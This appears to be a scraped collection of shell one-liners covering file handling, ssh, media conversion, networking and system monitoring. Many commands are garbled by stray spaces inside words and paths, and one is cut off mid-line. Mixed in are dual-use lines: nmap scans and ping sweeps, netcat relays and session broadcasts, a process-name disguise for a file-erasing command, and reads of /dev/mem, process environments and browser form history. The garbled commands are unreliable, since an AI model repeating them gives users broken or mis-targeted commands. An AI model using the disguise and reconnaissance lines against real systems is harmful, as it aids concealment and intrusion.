One-liners
$ dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
$ <ctrl+u> [...] <ctrl+y>
$ dig +short txt <keyword>.wp.dg.cx
$ sshfs name@server:/path/to/folder /path/to/mount/point
$ mount -t tmpfs tmpfs /mnt -o size=1024m
$ wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
$ ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
$ ssh -t reachable_host ssh unreachable_host
$ curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
$ telnet towel.blinkenlights.nl
$ echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
$ ping -i 60 -a IP_address
$ <alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
$ rm !(*.foo|*.bar|*.baz)
$ some_very_long_and_complex_command # label
$ diff <(sort file1) <(sort file2)
$ awk '/start_pattern/,/stop_pattern/' file.txt
$ CDPATH=:..:~:~/projects
$ python -m smtpd -n -c DebuggingServer localhost:1025
$ ps aux | grep [p]rocess-name
$ cat ~/. ssh /id_rsa.pub | ssh user@machine "mkdir ~/. ssh ; cat >> ~/. ssh /authorized_keys"
$ tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
$ mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
$ translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1 /'; }
$ ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
$ strace -ff -e trace=write -e write=1,2 -p SOME_PID
$ pv sourcefile > destfile
$ readom dev=/dev/scd0 f=/path/to/image.iso
$ i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
$ mkdir -p a/long/directory/path
$ read day month year <<< $(date +'%d %m %y')
$ vim scp://username@host//path/to/somefile
$ ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
$ pv access.log | gzip > access.log.gz
$ grep -RnisI <pattern> *
$ watch -n 1 mysqladmin --user=<user> --password=<password> processlist
$ find . -type d -empty -delete
$ watch -t -n1 "date +%T|figlet"
$ curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d ' ' | awk -F '<en tr y>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
$ cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
$ dd if=/dev/zero of=/dev/null bs=1M count=32768
$ chmod --reference file1 file2
$ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
$ mount /path/to/file.iso /mnt/cdrom -oloop
$ echo "rm -rf /unwanted-but-large/folder" | batch
$ rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
$ script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
$ wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
$ wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
$ wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/ /g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d ' ' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
$ dig +short myip.opendns.com @resolver1.opendns.com
$ watch -n 1 'echo "obase=2;`date +%s`" | bc'
$ du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
$ mkdir -p work/{d1,d2}/{src,bin,bak}
$ youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE
$ grep ^Dirty /proc/meminfo
$ echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
$ for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
$ knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
$ export HISTTIMEFORMAT="%F %T "
$ cp /work/host/phone/ui/main. cp p !#$:s/host/target
$ find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
$ mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
$ wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
$ echo | openssl s_client -connect www.google.com:443 2>/dev/null | openssl x509 -dates -noout
$ find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
$ md () { mkdir -p "$@" && cd "$@"; }
$ ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
$ sed -i 8d ~/.ssh/known_hosts
$ :w !sudo tee > /dev/null %
$ grep . filename > newfilename
$ lsof -Pan -i tcp -i udp
$ alias dush="du -sm *|sort -n|tail"
$ tar --exclude-vcs -cf src. tar src/
$ ssh -t user@some.domain.com /usr/bin/screen -xRR
$ mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
$ for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $ file `echo $ file | sed 's/\.pdf$/\.jpg/'`; done
$ diff <(lsusb) <(sleep 3s && lsusb)
$ find / -type f -size +500M
$ yes | pv | ssh $host "cat > /dev/null"
$ lshw -html > hardware.html
$ DISPLAY=:0.0 import -window root /tmp/shot.png
$ grep -Fx -f file1 file2
$ tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
$ diff <(echo "$a") <(echo "$b")
$ tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file>
$ alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
$ some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
$ curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
$ lynx -accept_all_cookies -cmd_script=/your/keystroke-file
$ bash -x ./post_to_commandlinefu.sh
$ [[ test_condition ]] && if_true_do_this || otherwise_do_that
$ svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
$ PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
$ read -sn 1 -p "Press any key to continue..."
$ clfavs(){ URL="http://www.commandlinefu.com"; wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
$ echo "foo" > /dev/tcp/192.168.1.2/25
$ ( ( sleep 2h; your-command your-args ) & )
$ perl -e 'print "P1 256 256 ", map {$_&($_>>8)?1:0} (0..0xffff)' | display
$ ./my-really-long-job.sh && notify-send "Job finished"
$ $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
$ xset dpms force standby
$ nc -l -p 2000 -c " nc example.org 3000"
$ man -t UNIX_COMMAND | open -f -a preview
$ grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
$ xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
$ ( echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
$ sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
$ tar -cj /backup | cstream -t 777k | ssh host ' tar -xj -C /backup'
$ sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/ for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{ for (i in a) printf "%6s\t%s ", a[i], i|"sort -n"}'
$ lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
$ find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
$ script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; script replay /tmp/mylog.time /tmp/mylog.out
$ alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
$ dd if=/dev/sda | tee >( dd of=/dev/sdb) | dd of=/dev/sdc
$ bbcradio() { local s PS3="Select a s tation: "; s elect s in 1 1x 2 3 4 5 6 7 "A s ian Network an" "Nation s & Local lcl";do break;done; s =($ s );mplayer -playli s t "http://www.bbc.co.uk/radio/li s ten/live/r"${ s [@]: -1}".a s x";}
$ grep -lir "some text" *
$ gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
$ rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
$ some_command | tee >(command1) >(command2) >(command3) ... | command4
$ shuf -n4 /usr/share/dict/words | tr -d ' '
$ ln -nsf <TARGET> <LINK>
$ echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
$ diff <(wget -q -O - URL1) <(wget -q -O - URL2)
$ touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
$ ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
$ sed '1000000!d;q' < massive-log-file.log
$ nocache <I/O-heavy-command>
$ dmesg -T|sed -e 's|\(^.*'`date +%Y`']\)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g'
$ for i in ?.ogg; do mv $i 0$i; done
$ <ESC> v or ctrl-x ctrl-e
$ ssh -f -L 5900:localhost:5900 your. ssh .server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
$ nmap -sP 192.168.1.0/24
$ alias date h=' date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
$ echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
$ echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done
$ /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
$ some command|xsel --clipboard
$ diff -urp /originaldirectory /modifieddirectory
$ find -L /path/to/check -type l -delete
$ ( mount point -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1) || (( sudo u mount "/media/mpdr1" > /dev/null 2>&1 || true) && ( sudo mkdir "/media/mpdr1" > /dev/null 2>&1 || true) && sudo mount "/dev/sdd1" "/media/mpdr1")
$ sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{ print $1" "$2}'
$ ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz
$ wall <<< "Broadcast This"
$ telnet towel.blinkenlights.nl 666
$ sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
$ for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/ mysqldump -$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
$ bash-hotkey: <CTRL+x+e>
$ autossh -M50000 -t server.example.com 'screen -raAd mysession'
$ ssh -keygen; ssh -copy-id user@host; ssh user@host
$ ncat -vlm 5 --ssl --chat 9876
$ dig +short which.opendns.com txt @208.67.220.220
$ zdump Japan America/New_York
$ sed -i <file> -re '<start>,<end>d'
$ echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf
$ awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) print f "\"%s\" [shape=box] \"%s\" -> \"%s\" ", $1, a[i], $1}END{ print "}"}' /etc/group|display
$ mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
$ au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | end if | end if
$ find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
$ cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
$ cat count.txt | awk '{ sum+=$1} END {print sum}'
$ nmap -sT -p 80 -oG - 192.168.1.* | grep open
$ data:text/html, <html contenteditable>
$ ffmpeg -i video.flv -vn -ar 44100 -ac 2 -ab 192k -f mp3 audio.mp3
$ for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
$ echo "dear admin, please ban eribsskog" | wall
$ echo -e "Some Text Line1 Some Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
$ DISPLAY=":0.0" import -window root screenshot.png
$ define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
$ flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
$ ssh -4 -C -c blowfish-cbc
$ rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
$ find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
$ mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
$ echo {0..1}{0..1}{0..1}{0..1}
$ bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
$ wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
$ mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
$ startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
$ mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &
$ nmap -sS -P0 -sV -O <target>
$ find * -type d -exec mkdir /where/you/wantem/\{\} \;
$ curl -I www.commandlinefu.com
$ git commit -m "$(curl -s http://whatthecommit.com/index.txt)";
$ qrencode -s 7 -o qr-wifi.png "WIFI:S:$(zenity --entry --text="Network name (SSID)" --title="Create WiFi QR");T:WPA;P:$(zenity --password --title="Wifi Password");;"
$ vi scp://username@host//path/to/somefile
$ echo $((0x1fe)) $((033))
$ strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print'
$ find -L / -samefile /path/to/file -exec ls -ld {} +
$ for h in `find /proc/*/fd -i ln ame "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
$ rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz .
$ echo 213.251.145.96 wikileaks.com >>/etc/hosts
$ lftp -e "mirror -c" http://example.com/foobar/
$ :w !curl -F "sprunge=<-" http://sprunge.us | xclip
$ printf "%`tput cols`s"|tr ' ' '#'
$ wget -qO - http://example.com/path/to/blah. tar .gz | tar xzf -
$ vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
$ for n i n E2 A2 D3 G3 B3 E4;do play - n sy n th 4 pluck $ n repeat 2;do n e
$ tar cf - <dir>|split -b<max_size>M - <name>. tar .
$ for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0; for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done
$ env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
$ wget --reject html,htm --accept pdf,zip -rl1 url
$ cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf(" %s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'
$ PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"
$ tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
$ clfu-seach <search words>
$ sudo firefox -install-global-extension /path/to/add-on
$ ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz
$ wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
$ MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
$ find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;
$ #!/usr/bin/sudo /bin/bash
$ exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
$ find . -type f -printf '%TY-%Tm-%Td %TT %p ' | sort
$ rename 's/\.jpe?g$/.jpg/i' *
$ check(){ curl -sI $1 | sed -n 's/Location: *//p';}
$ yt () mplayer -fs -quiet $(youtube-dl -g "$1")
$ openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
$ find ./ -name Thumbs.db -delete
$ # dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8
$ zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
$ ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"
$ find . -type f -exec sed -i s/oldstring/newstring/g {} +
$ grep 'test' somefile | grep -vE '(error|critical|warning)'
$ (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
$ awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
$ for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty= for mat:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
$ curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
$ egrep -v "^$|^[[:space:]]*#" /etc/some/file
$ sed 's/\o0/ /g' /proc/INSERT_PID_HERE/environ
$ curl dict://dict.org/d:something
$ diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
$ detox -r -s utf_8 /path/to/old/win/files/dir
$ mkdir -p doc/{text/,img/{wallpaper/,photos/}}
$ ssh -fX <user>@<host> <program>
$ sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
$ du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'
$ find . -type d -name '.svn' -print0 | xargs -0 rm -rdf
$ soffice --headless -convert-to odt:"writer8" somefile.docx
$ top -p $(pgrep -d , foo)
$ hourglass(){ trap 'tput cnorm' 0 1 2 15 RETURN;local s=$(($SECONDS +$1));(tput civis;while (($SECONDS<$s));do for f in '|' '\' '-' '/';do echo -n "$f";sleep .2s; echo -n $'\b';done;done;);}
$ echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
$ while [ /bin/ tr ue ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
$ j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
$ @reboot <yourscript.sh>
$ echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3"
$ dd bs=1k if=image.nrg of=image.iso skip=300
$ rsync --progress file1 file2
$ ruler() { for s in '....^....|' '1234567890'; do w=${# s }; s tr=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $ s ; done ); s tr=$( echo $ s tr | cut -c -$COLUMNS) ; echo $ s tr; done; }
$ perl -le 'print $!+0, "\t", $!++ for 0..127'
$ function man 2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
$ exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
$ ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
$ curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
$ < /path/to/file.txt grep foo
$ base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
$ xvkbd -xsendevent -text "Hello world"
$ convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
$ date -d '2 weeks ago Saturday' +%Y-%m-%d
$ tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
$ ^r in bash begins a reverse-search-history with command completion
$ ffmpeg -i video.avi -f mp3 audio.mp3
$ nmap -sP 192.168.1.100-254
$ curl -s https://api.github.com/users/<username>/repos?per_page=1000 |grep git_url |awk '{print $2}'| sed 's/"\(.*\)",/\1/'
$ : </dev/tcp/127.0.0.1/80
$ kpartx -av <image-flat.vmdk>; mount -o /dev/mapper/loop0p1 /mnt/vmdk
$ wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website]
$ t2s() { wget -q -U Mozilla -O $(tr ' ' _ <<< "$1"| cut -b 1-15).mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=$(tr ' ' + <<< "$1")"; }
$ read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg
$ du -h --max-depth=1 |sort -rh
$ say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
$ read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
$ ff() { local IFS='|'; grep -rinE "$*" . ; }
$ sleep 3s && espeak "wake up, you bastard" 2>/dev/null
$ gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
$ curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt
$ echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
$ history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
$ for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
$ mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
$ xvkbd -xsendevent -text $(date +%Y%m%d)
$ curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
$ path_stripped_programname="${0##*/}"
$ wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
$ rsync -az /home/user/test user@sshServer:/tmp/
$ sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
$ echo '{"json":"obj"}' | python -m simplejson.tool
$ watch -n 1 "netstat -tpanl | grep ESTABLISHED"
$ while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
$ seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
$ convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
$ sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
$ rsync --partial --progress --rsh=ssh SOURCE DESTINATION
$ curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
$ tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
$ function google { Q="$@"; GOOG_URL='https://www. google .de/search?tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP '\/url\?q=.+?&' | sed 's|/url?q=||; s|&||'); echo -e "${stream//\%/\x}"; }
$ pscp -h hosts.txt -l username /etc/hosts /tmp/hosts
$ while ( nc -l 80 < /file.htm > : ) ; do : ; done &
$ ssh -t remotebox "tail -f /var/log/remote.log"
$ t=$(df| awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max-depth=1|sed '$d'|sort -rn -k1 | awk -v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c){c=a}}br=a/c;b=M*br; for (x=0;x<b;x++){printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}'
$ convert -resize '1024x600^' image.jpg small-image.jpg
$ oowriter -pt pdf your_word_file.doc
$ diff xml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
$ cls(){ printf "\33[2J";} or, if no printf , cat >cls;<ctrl-v><ctrl+[>[2J<enter><ctrl+d> cls(){ cat cls;}
$ down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
$ echo "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
$ curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
$ lynx -dump http://www.domain.com | awk '/http/{print $2}'
$ echo -ne "<shellcode>" | x86dis -e 0 -s intel
$ wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
$ tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile. tar .bz2"
$ pronounce(){ wget -qO- $( wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
$ purple-remote "setstatus?status=away&message=AFK"
$ grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
$ A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
$ ps aux --sort=%mem,%cpu
$ URL="http://www.google.com";curl -L --w "$URL DNS %{ time _namelookup}s conn %{ time _connect}s time %{ time _total}s Speed %{speed_download}bps Size %{size_download}bytes " -o/dev/null -s $URL
$ <ctrl+j>stty sane<ctrl+j>
$ cat /dev/clipboard; $(somecommand) > /dev/clipboard
$ rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
$ find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
